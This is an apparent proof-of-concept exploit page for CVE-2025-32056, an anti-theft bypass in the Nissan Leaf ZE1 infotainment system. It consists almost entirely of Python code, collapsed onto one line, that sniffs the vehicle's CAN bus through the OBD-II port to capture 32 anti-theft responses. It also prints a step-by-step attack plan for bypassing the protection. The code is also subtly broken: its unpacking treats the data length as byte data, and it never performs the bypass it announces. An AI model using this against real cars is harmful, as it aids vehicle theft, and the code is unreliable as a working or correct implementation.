CVE-2025-32056 日产Leaf ZE1车载娱乐系统反盗窃保护机制绕过漏洞

# CVE-2025-32056 PoC - CAN Bus Response Sniffing # This PoC demonstrates sniffing CAN traffic to capture anti-theft responses # Note: This is for educational and security research purposes only import socket import struct import time def setup_can_interface(interface='vcan0'): """Setup CAN interface for traffic sniffing""" try: sock = socket.socket(socket.PF_CAN, socket.SOCK_RAW, socket.CAN_RAW) sock.bind((interface,)) return sock except Exception as e: print(f"Error setting up CAN interface: {e}") return None def sniff_antitheft_responses(can_socket, target_ids=None): """ Sniff CAN bus for anti-theft related messages target_ids: List of relevant CAN message IDs """ if target_ids is None: # Common diagnostic CAN IDs for Nissan Leaf target_ids = [0x100, 0x200, 0x300, 0x7C0, 0x7E0] responses = {} print(f"[*] Starting CAN traffic sniffing...") print(f"[*] Monitoring for {len(target_ids)} target CAN IDs") print(f"[*] Target: Capture 32 anti-theft responses") start_time = time.time() timeout = 300 # 5 minute timeout while len(responses) < 32 and (time.time() - start_time) < timeout: try: packet = can_socket.recv(16) can_id, data = struct.unpack('<IB8x', packet) # Check if message matches target IDs if can_id in target_ids and len(data) > 0: response_value = data.hex() if response_value not in responses: responses[response_value] = can_id print(f"[+] Captured response {len(responses)}/32: ID=0x{can_id:03X}, Data={response_value}") except BlockingIOError: continue except KeyboardInterrupt: print("\n[!] Sniffing interrupted by user") break return responses def main(): print("=" * 60) print("CVE-2025-32056 PoC - Nissan Leaf Anti-Theft Bypass") print("=" * 60) # Setup CAN interface (requires root privileges) can_sock = setup_can_interface('can0') if can_sock is None: print("[!] Failed to setup CAN interface. Run with sudo.") print("[!] Example: sudo python3 cve_2025_32056_poc.py") return print("\n[*] Prerequisites:") print(" - Physical access to Nissan Leaf ZE1 (2020+)") print(" - CAN bus adapter (e.g., Peak PCAN, Kvaser)") print(" - OBD-II or direct CAN bus connection") print("\n[*] Attack scenario:") print(" 1. Connect CAN adapter to vehicle OBD-II port") print(" 2. Trigger anti-theft authentication sequence") print(" 3. Sniff CAN traffic to capture all 32 responses") print(" 4. Use captured responses to bypass protection\n") # Start sniffing responses = sniff_antitheft_responses(can_sock) if len(responses) >= 32: print("\n[+] Successfully captured all 32 responses!") print("[+] Anti-theft protection can now be bypassed") # Save responses for later use with open('captured_responses.txt', 'w') as f: for i, (response, can_id) in enumerate(responses.items(), 1): f.write(f"Response {i}: CAN_ID=0x{can_id:03X}, Data={response}\n") print("[+] Responses saved to captured_responses.txt") else: print(f"\n[!] Captured only {len(responses)}/32 responses") print("[!] Try repositioning CAN adapter or checking connections") can_sock.close() if __name__ == "__main__": main()